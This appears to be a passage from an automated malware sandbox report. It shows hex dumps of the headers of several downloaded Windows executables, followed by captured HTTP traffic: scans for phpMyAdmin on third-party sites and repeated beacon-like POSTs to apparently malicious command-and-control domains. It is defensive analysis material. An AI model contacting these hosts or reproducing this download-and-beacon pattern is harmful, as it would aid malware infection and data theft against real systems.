00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e 0a 00 40 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 95 0c 08 00 00 10 00 00 00 0e 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c4 06 02 00 00 20 08 00 00 08 02 00 00 12 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 3c 46 00 00 00 30 0a 00 00 02 00 00 00 1a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 80 0a 00 00 02 00 00 00 1c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 90 0a 00 00 04 00 00 00 1e 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f0 23 00 00 00 a0 0a 00 00 24 00 00 00 22 0a 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 02 Dec 2023 17:02:56 GMTContent-Type: application/x-msdos-programContent-Length: 608080Connection: keep-aliveLast-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "94750-5e7ebd4425100"Accept-Ranges: bytesCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=X8t8mB5%2Br7yLA0miNoBxwjZErfS6OBBWvSfQCOjLpZ3l1VctsE%2BY0syQCKUTJkrvgFxMphpalhnnAp%2FyMJBO7xo%2Faw1K8XQdmK6sBOWnzkVGUUrbpfIy2%2FV2vn%2FGCQNEwWR%2FeVCvtm0%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 82f523f37c40592f-IADalt-svc: h3=":443"; ma=86400Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc 08 00 dc 03 00 00 e4 5a 08 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 61 b5 07 00 00 10 00 00 00 b6 07 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 94 09 01 00 00 d0 07 00 00 0a 01 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 1d 00 00 00 e0 08 00 00 04 00 00 00 c4 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 00 09 00 00 02 00 00 00 c8 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 15 00 00 00 00 10 09 00 00 02 00 00 00 ca 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 08 00 00 00 20 09 00 00 0a 00 00 00 cc 08 00 00 00 00 Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 02 Dec 2023 17:02:57 GMTContent-Type: application/x-msdos-programContent-Length: 450024Connection: keep-aliveLast-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "6dde8-5e7ebd4425100"Accept-Ranges: bytesCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=WQjsQqNt8HK%2FHVtxJY8NlyV2%2F9g7je8wYe9%2BrVJokc9tN%2F1TP82amO7aXPiia%2BQK%2FnqtjQSP5w%2BmRiYcLwofawxc5xGqPO0jURLTXq7yE1bKOVGS%2F5YJU7amaMyA4ZnYY3H8BWGHQC0%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 82f523f5ce64592f-IADalt-svc: h3=":443"; ma=86400Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 06 00 00 04 00 00 2c e0 06 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 10 67 04 00 82 cf 01 00 e8 72 06 00 18 01 00 00 00 a0 06 00 f0 03 00 00 00 00 00 00 00 00 00 00 00 9c 06 00 e8 41 00 00 00 b0 06 00 ac 3d 00 00 60 78 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 77 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 70 06 00 e4 02 00 00 c0 63 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 92 26 06 00 00 10 00 00 00 28 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 48 29 00 00 00 40 06 00 00 18 00 00 00 2c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 ac Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.t
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 02 Dec 2023 17:02:57 GMTContent-Type: application/x-msdos-programContent-Length: 2046288Connection: keep-aliveLast-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "1f3950-5e7ebd4425100"Accept-Ranges: bytesCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=YecBamilo377RIUK%2BH2Q6gbykOrMbSYIXKZrDjjXSWqrbEcsXJozEdQb6TGd7vRCB1vbZXhwawFJdQCQnRSbyzTLYh4D4%2BMyqErgRVdPJqtDXwfgeNgsCRkO1ep%2FeH%2BNggJCamJ%2BAhk%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 82f523f7d80e592f-IADalt-svc: h3=":443"; ma=86400Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca 1d 00 5c 04 00 00 80 26 1d 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 89 d7 19 00 00 10 00 00 00 d8 19 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 6c ef 03 00 00 f0 19 00 00 f0 03 00 00 dc 19 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 52 00 00 00 e0 1d 00 00 2e 00 00 00 cc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 40 1e 00 00 02 00 00 00 fa 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 50 1e 00 00 04 00 00 00 fc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 5c 08 01 00 00 60 1e 00 00 0a 01 00 00 00 1e 00 00 00 00 00 00 Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text `.rdatal@@.dataDR.@.00cfg
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 02 Dec 2023 17:03:01 GMTContent-Type: application/x-msdos-programContent-Length: 80880Connection: keep-aliveLast-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "13bf0-5e7ebd4425100"Accept-Ranges: bytesCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=5c%2F0rLCDCpBX0sQaCKvivrIZbnTEMcZnlw5BZzGOHkxM2mT3o6XK9aKLSwg7n4JdghJGeAp%2Fw%2F7Y8AqEYfy5nep2TU5i85mSr8Or6AUQ9huyx6K4EUALaViEfphVvlLZMH%2FJn3S9x4g%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 82f524130daa592f-IADalt-svc: h3=":443"; ma=86400Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e0 e3 00 00 14 09 00 00 b8 00 01 00 8c 00 00 00 00 10 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 fa 00 00 f0 41 00 00 00 20 01 00 10 0a 00 00 80 20 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 20 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 b4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 dc 00 00 00 10 00 00 00 de 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 f4 05 00 00 00 f0 00 00 00 02 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 84 05 00 00 00 00 01 00 00 06 00 00 00 e4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text

Source: global traffic	HTTP traffic detected: GET /phpmyadmin/ HTTP/1.1Host: giannicastellani.itAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /phpmyadmin/ HTTP/1.1Host: giannicastellani.itAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /phpmyadmin/ HTTP/1.1Host: furnscales.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://jswfkhglytwtow.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 318Host: sumagulituyo.org
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://oondofdrssj.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 362Host: snukerukeutit.org
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://vrbljbibseabh.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 329Host: lightseinsteniki.org
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://vmuckuoionwjc.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 119Host: liuliuoumumy.org
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://sbapcbgqcdatcqed.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 369Host: stualialuyastrelia.net
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://gikladteabfsepey.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 133Host: stualialuyastrelia.net
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://vpbdwisyltl.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 214Host: stualialuyastrelia.net
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://hkkasxcqdftqd.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 278Host: stualialuyastrelia.net
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://lqcxjeriotxmwo.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 261Host: stualialuyastrelia.net
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://hxtpjmyluga.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 176Host: stualialuyastrelia.net
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://hxsxddesskom.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 251Host: stualialuyastrelia.net
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://naacvoitxbvbafnj.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 133Host: stualialuyastrelia.net
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://gmwpqrmwxdqkgxi.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 181Host: stualialuyastrelia.net
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://llxkshlvtapx.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 293Host: stualialuyastrelia.net
Source: global traffic	HTTP traffic detected: GET /atoz/index.php HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: atozrental.cc
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://elrrtjljhknucbdx.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 200Host: stualialuyastrelia.net
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://dxvnthyidxsk.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 244Host: stualialuyastrelia.net
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://qiagoyeeytqahuav.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 251Host: stualialuyastrelia.net
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://mhylbrtivmxh.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 255Host: stualialuyastrelia.net
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://iwjkpojhrkfcflrh.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 356Host: stualialuyastrelia.net
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://stualialuyastrelia.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 501Host: stualialuyastrelia.net
Source: global traffic	HTTP traffic detected: POST /index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://xldxytcflas.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 129Host: legdfls2369.com
Source: global traffic	HTTP traffic detected: POST /index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://hmkbsmybwuvanr.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 233Host: legdfls2369.com
Source: global traffic	HTTP traffic detected: POST /index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://fdhocjhcvygs.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 349Host: legdfls2369.com
Source: global traffic	HTTP traffic detected: POST /index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://hhxfagktsexmd.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 167Host: legdfls2369.com
Source: global traffic	HTTP traffic detected: POST /index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://tdwnvhtexgjcltnu.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 208Host: legdfls2369.com
Source: global traffic	HTTP traffic detected: POST /index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://kkuyhteudoe.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 354Host: legdfls2369.com
Source: global traffic	HTTP traffic detected: POST /index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://fprjajnfotlm.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 226Host: legdfls2369.com
Source: global traffic	HTTP traffic detected: POST /index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://ihumlwefnag.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 184Host: legdfls2369.com
Source: global traffic	HTTP traffic detected: POST /index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://keqpthkyownrn.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 115Host: legdfls2369.com
Source: global traffic	HTTP traffic detected: POST /index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://hmifbymgxups.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 161Host: legdfls2369.com
Source: global traffic	HTTP traffic detected: POST /index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://lrimaamtjcwadv.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 310Host: legdfls2369.com
Source: global traffic	HTTP traffic detected: POST /index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://wvykojjrbhgwfv.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 258Host: legdfls2369.com
Source: global traffic	HTTP traffic detected: POST /index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://ppudvmunvhldwrd.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 366Host: legdfls2369.com
Source: global traffic	HTTP traffic detected: POST /index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://hejjnvxggxlyfjdo.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 267Host: legdfls2369.com
Source: global traffic	HTTP traffic detected: POST /index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://drnnvalavffcpudk.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 110Host: legdfls2369.com
Source: global traffic	HTTP traffic detected: POST /index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://tlkvxjppddxeqay.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 202Host: legdfls2369.com
Source: global traffic	HTTP traffic detected: POST /index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://ydsuwijjbjcnclj.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 242Host: legdfls2369.com
Source: global traffic	HTTP traffic detected: POST /index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://qyrjkxhfbse.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 309Host: legdfls2369.com
Source: global traffic	HTTP traffic detected: POST /index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://aidcmejwuphhrsx.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 366Host: legdfls2369.com
Source: global traffic	HTTP traffic detected: POST /index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://jmmlihrnngus.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 188Host: legdfls2369.com
